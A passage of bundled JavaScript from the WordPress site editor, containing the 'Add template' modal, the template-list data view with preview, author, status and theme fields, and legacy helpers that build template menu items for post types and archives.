43853 (0, import_i18n146.__)('"%s" successfully created.'),
43854 (0, import_html_entities12.decodeEntities)(newTemplate.title?.rendered || title) || (0, import_i18n146.__)("(no title)")
43855 ),
43856 {
43857 type: "snackbar"
43858 }
43859 );
43860 } catch (error) {
43861 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0, import_i18n146.__)("An error occurred while creating the template.");
43862 createErrorNotice(errorMessage, {
43863 type: "snackbar"
43864 });
43865 } finally {
43866 setIsSubmitting(false);
43867 }
43868 }
43869 const onModalClose = () => {
43870 onClose();
43871 setModalContent(modalContentMap.templatesList);
43872 };
43873 let modalTitle = (0, import_i18n146.__)("Add template");
43874 if (modalContent === modalContentMap.customTemplate) {
43875 modalTitle = (0, import_i18n146.sprintf)(
43876 // translators: %s: Name of the post type e.g: "Post".
43877 (0, import_i18n146.__)("Add template: %s"),
43878 entityForSuggestions.labels.singular_name
43879 );
43880 } else if (modalContent === modalContentMap.customGenericTemplate) {
43881 modalTitle = (0, import_i18n146.__)("Create custom template");
43882 }
43883 return /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(
43884 import_components153.Modal,
43885 {
43886 title: modalTitle,
43887 className: clsx_default("edit-site-add-new-template__modal", {
43888 "edit-site-add-new-template__modal_template_list": modalContent === modalContentMap.templatesList,
43889 "edit-site-custom-template-modal": modalContent === modalContentMap.customTemplate
43890 }),
43891 onRequestClose: onModalClose,
43892 overlayClassName: modalContent === modalContentMap.customGenericTemplate ? "edit-site-custom-generic-template__modal" : void 0,
43893 ref: containerRef,
43894 children: [
43895 modalContent === modalContentMap.templatesList && /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(
43896 import_components153.__experimentalGrid,
43897 {
43898 columns: isMobile ? 2 : 3,
43899 gap: 4,
43900 align: "flex-start",
43901 justify: "center",
43902 className: "edit-site-add-new-template__template-list__contents",
43903 children: [
43904 /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(import_components153.Flex, { className: "edit-site-add-new-template__template-list__prompt", children: (0, import_i18n146.__)(
43905 "Select what the new template should apply to:"
43906 ) }),
43907 missingTemplates.map((template) => {
43908 const { title, slug, onClick } = template;
43909 return /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43910 TemplateListItem,
43911 {
43912 title,
43913 direction: "column",
43914 className: "edit-site-add-new-template__template-button",
43915 description: TEMPLATE_SHORT_DESCRIPTIONS[slug],
43916 icon: TEMPLATE_ICONS[slug] || layout_default,
43917 onClick: () => onClick ? onClick(template) : createTemplate(template)
43918 },
43919 slug
43920 );
43921 }),
43922 /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43923 TemplateListItem,
43924 {
43925 title: (0, import_i18n146.__)("Custom template"),
43926 direction: "row",
43927 className: "edit-site-add-new-template__custom-template-button",
43928 icon: pencil_default,
43929 onClick: () => setModalContent(
43930 modalContentMap.customGenericTemplate
43931 ),
43932 children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43933 import_components153.__experimentalText,
43934 {
43935 lineHeight: 1.53846153846,
43936 children: (0, import_i18n146.__)(
43937 "A custom template can be manually applied to any post or page."
43938 )
43939 }
43940 )
43941 }
43942 )
43943 ]
43944 }
43945 ),
43946 modalContent === modalContentMap.customTemplate && /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43947 add_custom_template_modal_content_default,
43948 {
43949 onSelect: createTemplate,
43950 entityForSuggestions,
43951 onBack: () => setModalContent(modalContentMap.templatesList),
43952 containerRef
43953 }
43954 ),
43955 modalContent === modalContentMap.customGenericTemplate && /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43956 add_custom_generic_template_modal_content_default,
43957 {
43958 createTemplate,
43959 onBack: () => setModalContent(modalContentMap.templatesList)
43960 }
43961 )
43962 ]
43963 }
43964 );
43965 }
43966 function NewTemplate() {
43967 const [showModal, setShowModal] = (0, import_element147.useState)(false);
43968 const { postType: postType2 } = (0, import_data73.useSelect)((select3) => {
43969 const { getPostType: getPostType2 } = select3(import_core_data53.store);
43970 return {
43971 postType: getPostType2(TEMPLATE_POST_TYPE)
43972 };
43973 }, []);
43974 if (!postType2) {
43975 return null;
43976 }
43977 return /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(import_jsx_runtime282.Fragment, { children: [
43978 /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43979 import_components153.Button,
43980 {
43981 variant: "primary",
43982 onClick: () => setShowModal(true),
43983 label: postType2.labels.add_new_item,
43984 __next40pxDefaultSize: true,
43985 children: postType2.labels.add_new_item
43986 }
43987 ),
43988 showModal && /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(NewTemplateModal, { onClose: () => setShowModal(false) })
43989 ] });
43990 }
43991 function useMissingTemplates(setEntityForSuggestions, onClick) {
43992 const defaultTemplateTypes = useDefaultTemplateTypes();
43993 const missingDefaultTemplates = (defaultTemplateTypes || []).filter(
43994 (template) => DEFAULT_TEMPLATE_SLUGS.includes(template.slug)
43995 );
43996 const onClickMenuItem = (_entityForSuggestions) => {
43997 onClick?.();
43998 setEntityForSuggestions(_entityForSuggestions);
43999 };
44000 const enhancedMissingDefaultTemplateTypes = [...missingDefaultTemplates];
44001 const { defaultTaxonomiesMenuItems, taxonomiesMenuItems } = useTaxonomiesMenuItems(onClickMenuItem);
44002 const { defaultPostTypesMenuItems, postTypesMenuItems } = usePostTypeMenuItems(onClickMenuItem);
44003 const authorMenuItem = useAuthorMenuItem(onClickMenuItem);
44004 [
44005 ...defaultTaxonomiesMenuItems,
44006 ...defaultPostTypesMenuItems,
44007 authorMenuItem
44008 ].forEach((menuItem) => {
44009 if (!menuItem) {
44010 return;
44011 }
44012 const matchIndex = enhancedMissingDefaultTemplateTypes.findIndex(
44013 (template) => template.slug === menuItem.slug
44014 );
44015 if (matchIndex > -1) {
44016 enhancedMissingDefaultTemplateTypes[matchIndex] = menuItem;
44017 } else {
44018 enhancedMissingDefaultTemplateTypes.push(menuItem);
44019 }
44020 });
44021 enhancedMissingDefaultTemplateTypes?.sort((template1, template2) => {
44022 return DEFAULT_TEMPLATE_SLUGS.indexOf(template1.slug) - DEFAULT_TEMPLATE_SLUGS.indexOf(template2.slug);
44023 });
44024 const missingTemplates = [
44025 ...enhancedMissingDefaultTemplateTypes,
44026 ...usePostTypeArchiveMenuItems(),
44027 ...postTypesMenuItems,
44028 ...taxonomiesMenuItems
44029 ];
44030 return missingTemplates;
44031 }
44032 var add_new_template_default = (0, import_element147.memo)(NewTemplate);
44033
44034 // packages/edit-site/build-module/components/page-templates/fields.mjs
44035 var import_components154 = __toESM(require_components(), 1);
44036 var import_i18n147 = __toESM(require_i18n(), 1);
44037 var import_element148 = __toESM(require_element(), 1);
44038 var import_html_entities13 = __toESM(require_html_entities(), 1);
44039 var import_blocks13 = __toESM(require_blocks(), 1);
44040 var import_block_editor26 = __toESM(require_block_editor(), 1);
44041 var import_editor34 = __toESM(require_editor(), 1);
44042 var import_core_data54 = __toESM(require_core_data(), 1);
44043 var import_data74 = __toESM(require_data(), 1);
44044 var import_jsx_runtime283 = __toESM(require_jsx_runtime(), 1);
44045 var { Badge: Badge5 } = unlock(import_components154.privateApis);
44046 var { useEntityRecordsWithPermissions } = unlock(import_core_data54.privateApis);
44047 var { useStyle: useStyle5 } = unlock(import_editor34.privateApis);
44048 function useAllDefaultTemplateTypes() {
44049 const defaultTemplateTypes = useDefaultTemplateTypes();
44050 const { records: staticRecords } = useEntityRecordsWithPermissions(
44051 "root",
44052 "registeredTemplate"
44053 );
44054 return [
44055 ...defaultTemplateTypes,
44056 ...staticRecords?.filter((record) => !record.is_custom).map((record) => {
44057 return {
44058 slug: record.slug,
44059 title: record.title.rendered,
44060 description: record.description
44061 };
44062 })
44063 ];
44064 }
44065 function PreviewField2({ item }) {
44066 const settings2 = usePatternSettings();
44067 const backgroundColor = useStyle5("color.background") ?? "white";
44068 const blocks = (0, import_element148.useMemo)(() => {
44069 return (0, import_blocks13.parse)(item.content.raw);
44070 }, [item.content.raw]);
44071 const isEmpty3 = !blocks?.length;
44072 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_editor34.EditorProvider, { post: item, settings: settings2, children: /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
44073 "div",
44074 {
44075 className: "page-templates-preview-field",
44076 style: { backgroundColor },
44077 children: [
44078 isEmpty3 && (0, import_i18n147.__)("Empty template"),
44079 !isEmpty3 && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_block_editor26.BlockPreview.Async, { children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_block_editor26.BlockPreview, { blocks }) })
44080 ]
44081 }
44082 ) });
44083 }
44084 var previewField2 = {
44085 label: (0, import_i18n147.__)("Preview"),
44086 id: "preview",
44087 render: PreviewField2,
44088 enableSorting: false
44089 };
44090 var descriptionField = {
44091 label: (0, import_i18n147.__)("Description"),
44092 id: "description",
44093 render: window?.__experimentalTemplateActivate ? function RenderDescription({ item }) {
44094 const defaultTemplateTypes = useAllDefaultTemplateTypes();
44095 const defaultTemplateType = defaultTemplateTypes.find(
44096 (type) => type.slug === item.slug
44097 );
44098 return item.description ? (0, import_html_entities13.decodeEntities)(item.description) : defaultTemplateType?.description;
44099 } : ({ item }) => {
44100 return item.description && (0, import_html_entities13.decodeEntities)(item.description);
44101 },
44102 enableSorting: false,
44103 enableGlobalSearch: true
44104 };
44105 function AuthorField2({ item }) {
44106 const [isImageLoaded, setIsImageLoaded] = (0, import_element148.useState)(false);
44107 const { text, icon, imageUrl } = useAddedBy(item.type, item.id);
44108 return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_components154.__experimentalHStack, { alignment: "left", spacing: 0, children: [
44109 imageUrl && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
44110 "div",
44111 {
44112 className: clsx_default("page-templates-author-field__avatar", {
44113 "is-loaded": isImageLoaded
44114 }),
44115 children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
44116 "img",
44117 {
44118 onLoad: () => setIsImageLoaded(true),
44119 alt: "",
44120 src: imageUrl
44121 }
44122 )
44123 }
44124 ),
44125 !imageUrl && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)("div", { className: "page-templates-author-field__icon", children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_components154.Icon, { icon }) }),
44126 /* @__PURE__ */ (0, import_jsx_runtime283.jsx)("span", { className: "page-templates-author-field__name", children: text })
44127 ] });
44128 }
44129 var authorField = {
44130 label: (0, import_i18n147.__)("Author"),
44131 id: "author",
44132 getValue: ({ item }) => item.author_text ?? item.author,
44133 render: AuthorField2
44134 };
44135 var activeField = {
44136 label: (0, import_i18n147.__)("Status"),
44137 id: "active",
44138 type: "boolean",
44139 getValue: ({ item }) => item._isActive,
44140 render: function Render({ item }) {
44141 const activeLabel = item._isCustom ? (0, import_i18n147._x)("Active when used", "template") : (0, import_i18n147._x)("Active", "template");
44142 const activeIntent = item._isCustom ? "info" : "success";
44143 const isActive = item._isActive;
44144 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(Badge5, { intent: isActive ? activeIntent : "default", children: isActive ? activeLabel : (0, import_i18n147._x)("Inactive", "template") });
44145 }
44146 };
44147 var useThemeField = () => {
44148 const activeTheme = (0, import_data74.useSelect)(
44149 (select3) => select3(import_core_data54.store).getCurrentTheme()
44150 );
44151 return (0, import_element148.useMemo)(
44152 () => ({
44153 label: (0, import_i18n147.__)("Compatible Theme"),
44154 id: "theme",
44155 getValue: ({ item }) => item.theme,
44156 render: function Render3({ item }) {
44157 if (item.theme === activeTheme.stylesheet) {
44158 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(Badge5, { intent: "success", children: item.theme });
44159 }
44160 return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(Badge5, { intent: "error", children: item.theme });
44161 }
44162 }),
44163 [activeTheme]
44164 );
44165 };
44166 var slugField = {
44167 label: (0, import_i18n147.__)("Template Type"),
44168 id: "slug",
44169 getValue: ({ item }) => item.slug,
44170 render: function Render2({ item }) {
44171 const defaultTemplateTypes = useAllDefaultTemplateTypes();
44172 const defaultTemplateType = defaultTemplateTypes.find(
44173 (type) => type.slug === item.slug
44174 );
44175 return defaultTemplateType?.title || (0, import_i18n147._x)("Custom", "template type");
44176 }
44177 };
44178
44179 // packages/edit-site/build-module/components/page-templates/view-utils.mjs
44180 var defaultLayouts2 = {
44181 table: {
44182 showMedia: false
44183 },
44184 grid: {
44185 showMedia: true
44186 },
44187 list: {
44188 showMedia: false
44189 }
44190 };
44191 var DEFAULT_VIEW2 = {
44192 type: "grid",
44193 perPage: 20,
44194 sort: {
44195 field: "title",
44196 direction: "asc"
44197 },
44198 titleField: "title",
44199 descriptionField: "description",
44200 mediaField: "preview",
44201 fields: ["author", "active", "slug", "theme"],
44202 filters: [],
44203 ...defaultLayouts2.grid
44204 };
44205 function getActiveViewOverridesForTab(activeView) {
44206 if (activeView === "user") {
44207 return {
44208 sort: { field: "date", direction: "desc" }
44209 };
44210 }
44211 if (activeView === "active") {
44212 return {};
44213 }
44214 return {
44215 filters: [
44216 {
44217 field: "author",
44218 operator: "is",
44219 value: activeView,
44220 isLocked: true
44221 }
44222 ]
44223 };
44224 }
44225
44226 // packages/edit-site/build-module/components/page-templates/index.mjs
44227 var import_jsx_runtime284 = __toESM(require_jsx_runtime(), 1);
44228 var { usePostActions: usePostActions2, usePostFields, templateTitleField } = unlock(import_editor35.privateApis);
44229 var { useHistory: useHistory22, useLocation: useLocation30 } = unlock(import_router35.privateApis);
44230 var { useEntityRecordsWithPermissions: useEntityRecordsWithPermissions2 } = unlock(import_core_data55.privateApis);
44231 function PageTemplates() {
44232 const { path, query } = useLocation30();
44233 const { activeView = "active", postId } = query;
44234 const [selection, setSelection] = (0, import_element149.useState)([postId]);
44235 const [selectedRegisteredTemplate, setSelectedRegisteredTemplate] = (0, import_element149.useState)(false);
44236 const defaultView = DEFAULT_VIEW2;
44237 const activeViewOverrides = (0, import_element149.useMemo)(
44238 () => getActiveViewOverridesForTab(activeView),
44239 [activeView]
44240 );
44241 const { view, updateView, isModified, resetToDefault } = useView({
44242 kind: "postType",
44243 name: TEMPLATE_POST_TYPE,
44244 slug: "default",
44245 defaultView,
44246 activeViewOverrides,
44247 queryParams: {
44248 page: query.pageNumber,
44249 search: query.search
44250 },
44251 onChangeQueryParams: (newQueryParams) => {
44252 history.navigate(
44253 (0, import_url22.addQueryArgs)(path, {
44254 ...query,
44255 pageNumber: newQueryParams.page,
44256 search: newQueryParams.search || void 0
44257 })
44258 );
44259 }
44260 });
44261 const { activeTemplatesOption, activeTheme, defaultTemplateTypes } = (0, import_data75.useSelect)((select3) => {
44262 const { getEntityRecord, getCurrentTheme } = select3(import_core_data55.store);
44263 return {
44264 activeTemplatesOption: getEntityRecord("root", "site")?.active_templates,
44265 activeTheme: getCurrentTheme(),
44266 defaultTemplateTypes: select3(import_core_data55.store).getCurrentTheme()?.default_template_types
44267 };
44268 });
44269 const { records: userRecords, isResolving: isLoadingUserRecords } = useEntityRecordsWithPermissions2("postType", TEMPLATE_POST_TYPE, {
44270 per_page: -1,
44271 combinedTemplates: false
44272 });
44273 const { records: staticRecords, isResolving: isLoadingStaticData } = useEntityRecordsWithPermissions2("root", "registeredTemplate", {
44274 // This should not be needed, the endpoint returns all registered
44275 // templates, but it's not possible right now to turn off pagination
44276 // for entity configs.
44277 per_page: -1
44278 });
44279 const activeTemplates = (0, import_element149.useMemo)(() => {
44280 const _active = [...staticRecords];
44281 if (activeTemplatesOption) {
44282 for (const activeSlug in activeTemplatesOption) {
44283 const activeId = activeTemplatesOption[activeSlug];
44284 const template = userRecords.find(
44285 (userRecord) => userRecord.id === activeId && userRecord.theme === activeTheme.stylesheet
44286 );
44287 if (template) {
44288 const index = _active.findIndex(
44289 ({ slug }) => slug === template.slug
44290 );
44291 if (index !== -1) {
44292 _active[index] = template;
44293 } else {
44294 _active.push(template);
44295 }
44296 }
44297 }
44298 }
44299 return _active;
44300 }, [userRecords, staticRecords, activeTemplatesOption, activeTheme]);
44301 let isLoadingData;
44302 if (activeView === "active") {
44303 isLoadingData = isLoadingUserRecords || isLoadingStaticData;
44304 } else if (activeView === "user") {
44305 isLoadingData = isLoadingUserRecords;
44306 } else {
44307 isLoadingData = isLoadingStaticData;
44308 }
44309 const records = (0, import_element149.useMemo)(() => {
44310 function isCustom(record) {
44311 return record.is_custom ?? // For user templates it's custom if the is_wp_suggestion meta
44312 // field is not set and the slug is not found in the default
44313 // template types.
44314 (!record.meta?.is_wp_suggestion && !defaultTemplateTypes.some(
44315 (type) => type.slug === record.slug
44316 ));
44317 }
44318 let _records;
44319 if (activeView === "active") {
44320 _records = activeTemplates.filter(
44321 (record) => !isCustom(record)
44322 );
44323 } else if (activeView === "user") {
44324 _records = userRecords;
44325 } else {
44326 _records = staticRecords;
44327 }
44328 return _records.map((record) => ({
44329 ...record,
44330 _isActive: activeTemplates.some(
44331 (template) => template.id === record.id
44332 ),
44333 _isCustom: isCustom(record)
44334 }));
44335 }, [
44336 activeTemplates,
44337 defaultTemplateTypes,
44338 userRecords,
44339 staticRecords,
44340 activeView
44341 ]);
44342 const users = (0, import_data75.useSelect)(
44343 (select3) => {
44344 const { getUser } = select3(import_core_data55.store);
44345 return records.reduce((acc, record) => {
44346 if (record.author_text) {
44347 if (!acc[record.author_text]) {
44348 acc[record.author_text] = record.author_text;
44349 }
44350 } else if (record.author) {
44351 if (!acc[record.author]) {
44352 acc[record.author] = getUser(record.author);
44353 }
44354 }
44355 return acc;
44356 }, {});
44357 },
44358 [records]
44359 );
44360 const history = useHistory22();
44361 const onChangeSelection = (0, import_element149.useCallback)(
44362 (items) => {
44363 setSelection(items);
44364 if (view?.type === "list") {
44365 history.navigate(
44366 (0, import_url22.addQueryArgs)(path, {
44367 postId: items.length === 1 ? items[0] : void 0
44368 })
44369 );
44370 }
44371 },
44372 [history, path, view?.type]
44373 );
44374 const postTypeFields = usePostFields({
44375 postType: TEMPLATE_POST_TYPE
44376 });
44377 const dateField = postTypeFields.find((field) => field.id === "date");
44378 const themeField = useThemeField();
44379 const fields = (0, import_element149.useMemo)(() => {
44380 const _fields = [
44381 previewField2,
44382 templateTitleField,
44383 descriptionField,
44384 activeField,
44385 slugField
44386 ];
44387 if (activeView === "user") {
44388 _fields.push(themeField);
44389 if (dateField) {
44390 _fields.push(dateField);
44391 }
44392 }
44393 const elements2 = [];
44394 for (const author in users) {
44395 elements2.push({
44396 value: users[author]?.id ?? author,
44397 label: users[author]?.name ?? author
44398 });
44399 }
44400 _fields.push({
44401 ...authorField,
44402 elements: elements2
44403 });
44404 return _fields;
44405 }, [users, activeView, themeField, dateField]);
44406 const { data, paginationInfo } = (0, import_element149.useMemo)(() => {
44407 return filterSortAndPaginate(records, view, fields);
44408 }, [records, view, fields]);
44409 const { createSuccessNotice } = (0, import_data75.useDispatch)(import_notices8.store);
44410 const onActionPerformed = (0, import_element149.useCallback)(
44411 (actionId, items) => {
44412 switch (actionId) {
44413 case "duplicate-post":
44414 {
44415 const newItem = items[0];
44416 const _title = typeof newItem.title === "string" ? newItem.title : newItem.title?.rendered;
44417 history.navigate(`/template?activeView=user`);
44418 createSuccessNotice(
44419 (0, import_i18n148.sprintf)(
44420 // translators: %s: Title of the created post or template, e.g: "Hello world".
44421 (0, import_i18n148.__)('"%s" successfully created.'),
44422 (0, import_html_entities14.decodeEntities)(_title) || (0, import_i18n148.__)("(no title)")
44423 ),
44424 {
44425 type: "snackbar",
44426 id: "duplicate-post-action",
44427 actions: [
44428 {
44429 label: (0, import_i18n148.__)("Edit"),
44430 onClick: () => {
44431 history.navigate(
44432 `/${newItem.type}/${newItem.id}?canvas=edit`
44433 );
44434 }
44435 }
44436 ]
44437 }
44438 );
44439 }
44440 break;
44441 }
44442 },
44443 [history, createSuccessNotice]
44444 );
44445 const postTypeActions = usePostActions2({
44446 postType: TEMPLATE_POST_TYPE,
44447 context: "list",
44448 onActionPerformed
44449 });
44450 const editAction = useEditPostAction();
44451 const setActiveTemplateAction = useSetActiveTemplateAction();
44452 const actions = (0, import_element149.useMemo)(
44453 () => activeView === "user" ? [setActiveTemplateAction, editAction, ...postTypeActions] : [setActiveTemplateAction, ...postTypeActions],
44454 [postTypeActions, setActiveTemplateAction, editAction, activeView]
44455 );
44456 const onChangeView = (0, import_compose30.useEvent)((newView) => {
44457 updateView(newView);
44458 if (newView.type !== view.type) {
44459 history.invalidate();
44460 }
44461 });
44462 const duplicateAction = actions.find(
44463 (action) => action.id === "duplicate-post"
44464 );
44465 return /* @__PURE__ */ (0, import_jsx_runtime284.jsxs)(
44466 page_default2,
44467 {
44468 className: "edit-site-page-templates",
44469 title: (0, import_i18n148.__)("Templates"),
44470 headingLevel: 2,
44471 actions: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(add_new_template_default, {}),
44472 children: [
44473 /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(
44474 dataviews_default,
44475 {
44476 paginationInfo,
44477 fields,
44478 actions,
44479 data,
44480 isLoading: isLoadingData,
44481 view,
44482 onChangeView,
44483 onChangeSelection,
44484 isItemClickable: () => true,
44485 onClickItem: (item) => {
44486 if (typeof item.id === "string") {
44487 setSelectedRegisteredTemplate(item);
44488 } else {
44489 history.navigate(
44490 `/${item.type}/${item.id}?canvas=edit`
44491 );
44492 }
44493 },
44494 selection,
44495 defaultLayouts: defaultLayouts2,
44496 onReset: isModified ? () => {
44497 resetToDefault();
44498 history.invalidate();
44499 } : false
44500 },
44501 activeView
44502 ),
44503 selectedRegisteredTemplate && duplicateAction && /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(
44504 import_components155.Modal,
44505 {
44506 title: (0, import_i18n148.__)("Duplicate"),
44507 onRequestClose: () => setSelectedRegisteredTemplate(),
44508 size: "small",
44509 children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(
44510 duplicateAction.RenderModal,
44511 {
44512 items: [selectedRegisteredTemplate],
44513 closeModal: () => setSelectedRegisteredTemplate()
44514 }
44515 )
44516 }
44517 )
44518 ]
44519 }
44520 );
44521 }
44522
44523 // packages/edit-site/build-module/components/page-templates/index-legacy.mjs
44524 var import_i18n153 = __toESM(require_i18n(), 1);
44525 var import_element154 = __toESM(require_element(), 1);
44526 var import_core_data59 = __toESM(require_core_data(), 1);
44527 var import_router37 = __toESM(require_router(), 1);
44528 var import_editor36 = __toESM(require_editor(), 1);
44529 var import_url25 = __toESM(require_url(), 1);
44530 var import_compose33 = __toESM(require_compose(), 1);
44531
44532 // packages/edit-site/build-module/components/add-new-template-legacy/index.mjs
44533 var import_components158 = __toESM(require_components(), 1);
44534 var import_html_entities17 = __toESM(require_html_entities(), 1);
44535 var import_element153 = __toESM(require_element(), 1);
44536 var import_data77 = __toESM(require_data(), 1);
44537 var import_core_data58 = __toESM(require_core_data(), 1);
44538 var import_compose32 = __toESM(require_compose(), 1);
44539 var import_i18n152 = __toESM(require_i18n(), 1);
44540 var import_notices9 = __toESM(require_notices(), 1);
44541 var import_router36 = __toESM(require_router(), 1);
44542 var import_dom15 = __toESM(require_dom(), 1);
44543
44544 // packages/edit-site/build-module/components/add-new-template-legacy/add-custom-template-modal-content.mjs
44545 var import_element151 = __toESM(require_element(), 1);
44546 var import_i18n150 = __toESM(require_i18n(), 1);
44547 var import_components156 = __toESM(require_components(), 1);
44548 var import_core_data57 = __toESM(require_core_data(), 1);
44549 var import_html_entities16 = __toESM(require_html_entities(), 1);
44550 var import_compose31 = __toESM(require_compose(), 1);
44551 var import_dom14 = __toESM(require_dom(), 1);
44552 var import_url24 = __toESM(require_url(), 1);
44553
44554 // packages/edit-site/build-module/components/add-new-template-legacy/utils.mjs
44555 var import_data76 = __toESM(require_data(), 1);
44556 var import_core_data56 = __toESM(require_core_data(), 1);
44557 var import_html_entities15 = __toESM(require_html_entities(), 1);
44558 var import_element150 = __toESM(require_element(), 1);
44559 var import_i18n149 = __toESM(require_i18n(), 1);
44560 var import_url23 = __toESM(require_url(), 1);
44561 var EMPTY_OBJECT3 = {};
44562 var getValueFromObjectPath3 = (object, path) => {
44563 let value = object;
44564 path.split(".").forEach((fieldName) => {
44565 value = value?.[fieldName];
44566 });
44567 return value;
44568 };
44569 function prefixSlug2(prefix2, slug) {
44570 return `${prefix2}-${(0, import_url23.safeDecodeURI)(slug)}`;
44571 }
44572 var mapToIHasNameAndId2 = (entities, path) => {
44573 return (entities || []).map((entity) => ({
44574 ...entity,
44575 name: (0, import_html_entities15.decodeEntities)(getValueFromObjectPath3(entity, path))
44576 }));
44577 };
44578 var useExistingTemplates2 = () => {
44579 return (0, import_data76.useSelect)(
44580 (select3) => select3(import_core_data56.store).getEntityRecords(
44581 "postType",
44582 TEMPLATE_POST_TYPE,
44583 {
44584 per_page: -1
44585 }
44586 ),
44587 []
44588 );
44589 };
44590 var useDefaultTemplateTypes2 = () => {
44591 return (0, import_data76.useSelect)(
44592 (select3) => select3(import_core_data56.store).getCurrentTheme()?.default_template_types || [],
44593 []
44594 );
44595 };
44596 var usePublicPostTypes2 = () => {
44597 const postTypes = (0, import_data76.useSelect)(
44598 (select3) => select3(import_core_data56.store).getPostTypes({ per_page: -1 }),
44599 []
44600 );
44601 return (0, import_element150.useMemo)(() => {
44602 const excludedPostTypes = ["attachment"];
44603 return postTypes?.filter(
44604 ({ viewable, slug }) => viewable && !excludedPostTypes.includes(slug)
44605 ).sort((a2, b2) => {
44606 if (a2.slug === "post" || b2.slug === "post") {
44607 return 0;
44608 }
44609 return a2.name.localeCompare(b2.name);
44610 });
44611 }, [postTypes]);
44612 };
44613 var usePublicTaxonomies2 = () => {
44614 const taxonomies = (0, import_data76.useSelect)(
44615 (select3) => select3(import_core_data56.store).getTaxonomies({ per_page: -1 }),
44616 []
44617 );
44618 return (0, import_element150.useMemo)(() => {
44619 return taxonomies?.filter(
44620 ({ visibility }) => visibility?.publicly_queryable
44621 );
44622 }, [taxonomies]);
44623 };
44624 function usePostTypeArchiveMenuItems2() {
44625 const publicPostTypes = usePublicPostTypes2();
44626 const postTypesWithArchives = (0, import_element150.useMemo)(
44627 () => publicPostTypes?.filter((postType2) => postType2.has_archive),
44628 [publicPostTypes]
44629 );
44630 const existingTemplates = useExistingTemplates2();
44631 const postTypeLabels = (0, import_element150.useMemo)(
44632 () => publicPostTypes?.reduce((accumulator, { labels }) => {
44633 const singularName = labels.singular_name.toLowerCase();
44634 accumulator[singularName] = (accumulator[singularName] || 0) + 1;
44635 return accumulator;
44636 }, {}),
44637 [publicPostTypes]
44638 );
44639 const needsUniqueIdentifier = (0, import_element150.useCallback)(
44640 ({ labels, slug }) => {
44641 const singularName = labels.singular_name.toLowerCase();
44642 return postTypeLabels[singularName] > 1 && singularName !== slug;
44643 },
44644 [postTypeLabels]
44645 );
44646 return (0, import_element150.useMemo)(
44647 () => postTypesWithArchives?.filter(
44648 (postType2) => !(existingTemplates || []).some(
44649 (existingTemplate) => existingTemplate.slug === "archive-" + postType2.slug
44650 )
44651 ).map((postType2) => {
44652 let title;
44653 if (needsUniqueIdentifier(postType2)) {
44654 title = (0, import_i18n149.sprintf)(
44655 // translators: %1s: Name of the post type e.g: "Post"; %2s: Slug of the post type e.g: "book".
44656 (0, import_i18n149.__)("Archive: %1$s (%2$s)"),
44657 postType2.labels.singular_name,
44658 postType2.slug
44659 );
44660 } else {
44661 title = (0, import_i18n149.sprintf)(
44662 // translators: %s: Name of the post type e.g: "Post".
44663 (0, import_i18n149.__)("Archive: %s"),
44664 postType2.labels.singular_name
44665 );
44666 }
44667 return {
44668 slug: "archive-" + postType2.slug,
44669 description: (0, import_i18n149.sprintf)(
44670 // translators: %s: Name of the post type e.g: "Post".
44671 (0, import_i18n149.__)(
44672 "Displays an archive with the latest posts of type: %s."
44673 ),
44674 postType2.labels.singular_name
44675 ),
44676 title,
44677 // `icon` is the `menu_icon` property of a post type. We
44678 // only handle `dashicons` for now, even if the `menu_icon`
44679 // also supports urls and svg as values.
44680 icon: typeof postType2.icon === "string" && postType2.icon.startsWith("dashicons-") ? postType2.icon.slice(10) : archive_default,
44681 templatePrefix: "archive"
44682 };
44683 }) || [],
44684 [postTypesWithArchives, existingTemplates, needsUniqueIdentifier]
44685 );
44686 }
44687 var usePostTypeMenuItems2 = (onClickMenuItem) => {
44688 const publicPostTypes = usePublicPostTypes2();
44689 const existingTemplates = useExistingTemplates2();
44690 const defaultTemplateTypes = useDefaultTemplateTypes2();
44691 const templateLabels = (0, import_element150.useMemo)(
44692 () => publicPostTypes?.reduce((accumulator, { labels }) => {
44693 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44694 accumulator[templateName] = (accumulator[templateName] || 0) + 1;
44695 return accumulator;
44696 }, {}),
44697 [publicPostTypes]
44698 );
44699 const needsUniqueIdentifier = (0, import_element150.useCallback)(
44700 ({ labels, slug }) => {
44701 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44702 return templateLabels[templateName] > 1 && templateName !== slug;
44703 },
44704 [templateLabels]
44705 );
44706 const templatePrefixes = (0, import_element150.useMemo)(
44707 () => publicPostTypes?.reduce((accumulator, { slug }) => {
44708 let suffix = slug;
44709 if (slug !== "page") {
44710 suffix = `single-${suffix}`;
44711 }
44712 accumulator[slug] = suffix;
44713 return accumulator;
44714 }, {}),
44715 [publicPostTypes]
44716 );
44717 const postTypesInfo = useEntitiesInfo2("postType", templatePrefixes);
44718 const existingTemplateSlugs = (existingTemplates || []).map(
44719 ({ slug }) => slug
44720 );
44721 const menuItems = (publicPostTypes || []).reduce(
44722 (accumulator, postType2) => {
44723 const { slug, labels, icon } = postType2;
44724 const generalTemplateSlug = templatePrefixes[slug];
